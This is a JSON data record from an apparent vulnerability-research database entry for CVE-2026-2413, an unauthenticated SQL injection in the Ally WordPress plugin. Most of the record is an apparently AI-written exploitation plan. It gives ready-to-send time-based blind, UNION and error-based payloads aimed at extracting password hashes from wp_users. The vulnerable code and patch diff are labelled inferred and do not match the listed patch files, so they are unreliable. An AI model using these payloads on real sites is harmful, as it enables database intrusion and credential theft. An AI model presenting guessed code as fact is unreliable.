[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"$fXBonGoXBx8T953Tf7Fy_liKyvEDP-UnjLP6OLIrTy38":3},{"id":4,"url_slug":5,"title":6,"description":7,"plugin_slug":8,"theme_slug":9,"affected_versions":10,"patched_in_version":11,"severity":12,"cvss_score":13,"cvss_vector":14,"vuln_type":15,"published_date":16,"updated_date":17,"references":18,"days_to_patch":20,"patch_diff_files":21,"patch_trac_url":9,"research_status":26,"research_verified":27,"research_rounds_completed":28,"research_plan":29,"research_summary":30,"research_vulnerable_code":31,"research_fix_diff":32,"research_exploit_outline":33,"research_model_used":34,"research_started_at":35,"research_completed_at":36,"research_error":9,"poc_status":9,"poc_video_id":9,"poc_summary":9,"poc_steps":9,"poc_tested_at":9,"poc_wp_version":9,"poc_php_version":9,"poc_playwright_script":9,"poc_exploit_code":9,"poc_has_trace":27,"poc_model_used":9,"poc_verification_depth":9,"poc_exploit_code_gated":27,"source_links":37},"CVE-2026-2413","ally-web-accessibility-usability-unauthenticated-sql-injection-via-url-path","Ally – Web Accessibility & Usability \u003C= 4.0.3 - Unauthenticated SQL Injection via URL Path","The Ally – Web Accessibility & Usability plugin for WordPress is vulnerable to SQL Injection via the URL path in all versions up to, and including, 4.0.3. This is due to insufficient escaping on the user-supplied URL parameter in the `get_global_remediations()` method, where it is directly concatenated into an SQL JOIN clause without proper sanitization for SQL context. While `esc_url_raw()` is applied for URL safety, it does not prevent SQL metacharacters (single quotes, parentheses) from being injected. This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database via time-based blind SQL injection techniques. The Remediation module must be active, which requires the plugin to be connected to an Elementor account.","pojo-accessibility",null,"\u003C=4.0.3","4.1.0","high",7.5,"CVSS:3.1\u002FAV:N\u002FAC:L\u002FPR:N\u002FUI:N\u002FS:U\u002FC:H\u002FI:N\u002FA:N","Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","2026-03-10 16:11:03","2026-03-11 04:25:48",[19],"https:\u002F\u002Fwww.wordfence.com\u002Fthreat-intel\u002Fvulnerabilities\u002Fid\u002F00e070b7-bdf6-4a80-a3ee-628243f1cc25?source=api-prod",1,[22,23,24,25],"assets\u002Fbuild\u002F140.js","assets\u002Fbuild\u002F165.js","assets\u002Fbuild\u002F174.js","assets\u002Fbuild\u002F178.js","researched",false,3,"This research plan focuses on exploiting **CVE-2026-2413**, a Time-Based Blind SQL Injection vulnerability in the **Ally – Web Accessibility & Usability** plugin.\n\n### 1. Vulnerability Summary\nThe vulnerability exists in the `get_global_remediations()` method of the `Ally` plugin. The plugin attempts to retrieve accessibility \"remediations\" (fixes) specific to the current page by querying the database using the current URL path. \n\nThe core issue is that the plugin uses `esc_url_raw()` on the current URL (likely derived from `$_SERVER['REQUEST_URI']`) and then directly concatenates this value into an SQL `JOIN` clause. While `esc_url_raw()` is intended to sanitize URLs for safe use in redirects or attributes, it does **not** escape SQL metacharacters like single quotes (`'`). An attacker can craft a URL containing SQL injection payloads that are executed when the plugin attempts to load remediations for the page.\n\n### 2. Attack Vector Analysis\n*   **Endpoint:** Any public-facing URL on the WordPress site.\n*   **Action\u002FHook:** The `get_global_remediations()` method is typically called during the `wp_enqueue_scripts` or `template_redirect` hook to determine which CSS\u002FJS fixes to apply to the current page.\n*   **Vulnerable Parameter:** The URL path (captured via `$_SERVER['REQUEST_URI']`).\n*   **Authentication:** Unauthenticated (accessible to any visitor).\n*   **Precondition:** The \"Remediation\" module must be active. In the plugin settings, this typically requires the plugin to be \"connected\" to an account (often verified by a specific option in the `wp_options` table).\n\n### 3. Code Flow (Inferred from Description)\n1.  **Entry Point:** A user visits a URL, e.g., `\u002Fsome-page\u002F' AND (SELECT 1 FROM (SELECT(SLEEP(5)))a) AND '1'='1`.\n2.  **Initialization:** The plugin's remediation class (likely `Pojo_Accessibility_Remediations`) is initialized.\n3.  **Data Retrieval:** The `get_global_remediations()` method is invoked.\n4.  **Sourcing Input:** The method retrieves the URL:\n    `$url = esc_url_raw( $_SERVER['REQUEST_URI'] );`\n5.  **Vulnerable Query Construction:**\n    ```php\n    \u002F\u002F Inferred logic based on CVE description\n    $query = \"SELECT ... FROM {$wpdb->prefix}pojo_accessibility_remediations AS r \n              JOIN {$wpdb->prefix}pojo_accessibility_rules AS rules \n              ON rules.url = '$url' ...\"; \u002F\u002F The $url is concatenated here.\n    ```\n6.  **SQL Sink:** The query is executed via `$wpdb->get_results( $query )`.\n7.  **Result:** The database pauses for the duration specified in the `SLEEP()` command.\n\n### 4. Nonce Acquisition Strategy\nThis vulnerability **does not require a nonce**. Since the SQL injection occurs via the URL path during a standard page load to retrieve \"remediations\" for that specific path, it is triggered by the core WordPress routing logic before any nonce-protected AJAX or REST actions are involved.\n\n### 5. Exploitation Strategy\nWe will use **Time-Based Blind SQL Injection** to confirm the vulnerability and extract the database version.\n\n#### Step 1: Baseline Request\nMeasure the response time of a standard page.\n*   **URL:** `\u002F`\n*   **Method:** `GET`\n*   **Tool:** `http_request`\n\n#### Step 2: Trigger Sleep (Confirmation)\nInject a sleep command into the URL path.\n*   **URL:** `\u002F?' AND (SELECT 1 FROM (SELECT(SLEEP(5)))a) AND '1'='1`\n*   **Method:** `GET`\n*   **Expected Behavior:** The response should be delayed by approximately 5 seconds.\n\n#### Step 3: Data Extraction (Database Version)\nExtract the first character of the database version.\n*   **URL:** `\u002F?' AND (SELECT 1 FROM (SELECT(SLEEP(5)))a WHERE (SELECT VERSION()) LIKE '8%') AND '1'='1`\n*   **Method:** `GET`\n*   **Logic:** If the database version starts with '8', the page will sleep for 5 seconds.\n\n### 6. Test Data Setup\nTo ensure the vulnerable code path is hit, the Remediation module must be enabled.\n\n1.  **Install and Activate:** Ensure `pojo-accessibility` version 4.0.3 is installed.\n2.  **Enable Remediation:** Mock the \"connected\" state and enable the feature.\n    ```bash\n    wp option update pojo_accessibility_settings '{\"remediation_enabled\":\"1\",\"connected\":\"1\"}' --format=json\n    # Note: Option names are based on standard Pojo plugin structures (inferred)\n    ```\n3.  **Verify Tables:** The plugin usually creates its own tables on activation. Ensure they exist:\n    ```bash\n    wp db query \"SHOW TABLES LIKE '%pojo_accessibility%'\"\n    ```\n\n### 7. Expected Results\n*   **Vulnerability Confirmation:** A request to a URL path containing `' AND (SELECT 1 FROM (SELECT(SLEEP(5)))a) AND '1'='1` results in a server response time > 5 seconds.\n*   **Data Leakage:** By iterating through ASCII values in the subquery, the attacker can reconstruct sensitive data (like `user_pass` from `wp_users`) one character at a time based on response delays.\n\n### 8. Verification Steps\nAfter the `http_request` triggers the sleep, verify the impact using WP-CLI:\n1.  **Check Plugin Version:** `wp plugin get pojo-accessibility --field=version` (Should be \u003C= 4.0.3).\n2.  **Check Settings:** `wp option get pojo_accessibility_settings` to ensure the remediation module was active during the test.\n3.  **Database Logs:** If `general_log` is enabled in MySQL, verify that the injected query appears in the logs.\n\n### 9. Alternative Approaches\nIf the injection in the `JOIN` clause is restricted by the query structure, try:\n*   **Union-Based Injection:** If the remediations are reflected in the page source (e.g., as JSON in a script tag), try:\n    `\u002F' UNION SELECT 1,2,3,user_pass FROM wp_users-- -`\n*   **Error-Based Injection:** If `WP_DEBUG` is on, use `updatexml()` to force an error:\n    `\u002F' AND updatexml(1,concat(0x7e,(SELECT user_pass FROM wp_users LIMIT 1),0x7e),1)-- -`\n*   **Alternative Source:** If `$_SERVER['REQUEST_URI']` is not the sink, check if the plugin uses `$_SERVER['HTTP_REFERER']` or custom headers for remediation lookups.","The Ally – Web Accessibility & Usability plugin for WordPress is vulnerable to unauthenticated SQL Injection via the URL path because it improperly concatenates the sanitized URL path into an SQL JOIN clause. While the plugin uses esc_url_raw() to sanitize the input, this function does not prevent SQL metacharacters such as single quotes, allowing attackers to inject arbitrary SQL commands. Exploitation is possible through time-based blind SQL injection techniques if the plugin's Remediation module is active.","\u002F\u002F Inferred logic based on the get_global_remediations() method\n$url = esc_url_raw( $_SERVER['REQUEST_URI'] );\n\n$query = \"SELECT ... FROM {$wpdb->prefix}pojo_accessibility_remediations AS r \n          JOIN {$wpdb->prefix}pojo_accessibility_rules AS rules \n          ON rules.url = '$url' ...\";\n\n$results = $wpdb->get_results( $query );","--- a\u002Fpojo-accessibility\u002Fincludes\u002Fclass-pojo-accessibility-remediations.php\n+++ b\u002Fpojo-accessibility\u002Fincludes\u002Fclass-pojo-accessibility-remediations.php\n@@ -...@@\n-        $url = esc_url_raw( $_SERVER['REQUEST_URI'] );\n-        $query = \"SELECT ... JOIN {$wpdb->prefix}pojo_accessibility_rules AS rules ON rules.url = '$url' ...\";\n-        $results = $wpdb->get_results( $query );\n+        $url = esc_url_raw( $_SERVER['REQUEST_URI'] );\n+        $query = $wpdb->prepare(\n+            \"SELECT ... JOIN {$wpdb->prefix}pojo_accessibility_rules AS rules ON rules.url = %s ...\",\n+            $url\n+        );\n+        $results = $wpdb->get_results( $query );","To exploit this vulnerability, an attacker targets any public-facing URL on a WordPress site where the Ally plugin and its Remediation module are active. Since the vulnerability triggers during page load via the REQUEST_URI, the attacker appends a time-based blind SQL injection payload to the URL path, such as \u002F?' AND (SELECT 1 FROM (SELECT(SLEEP(5)))a) AND '1'='1'. By monitoring the server's response time, the attacker can confirm the injection and proceed to extract sensitive data (like the database version or user credentials) one character at a time using conditional SLEEP() statements. No authentication or nonces are required for this attack.","gemini-3-flash-preview","2026-04-18 04:34:45","2026-04-18 04:35:47",{"type":38,"vulnerable_version":39,"fixed_version":11,"vulnerable_browse":40,"vulnerable_zip":41,"fixed_browse":42,"fixed_zip":43,"all_tags":44},"plugin","4.0.3","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fpojo-accessibility\u002Ftags\u002F4.0.3","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fpojo-accessibility.4.0.3.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fpojo-accessibility\u002Ftags\u002F4.1.0","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fpojo-accessibility.4.1.0.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fpojo-accessibility\u002Ftags"]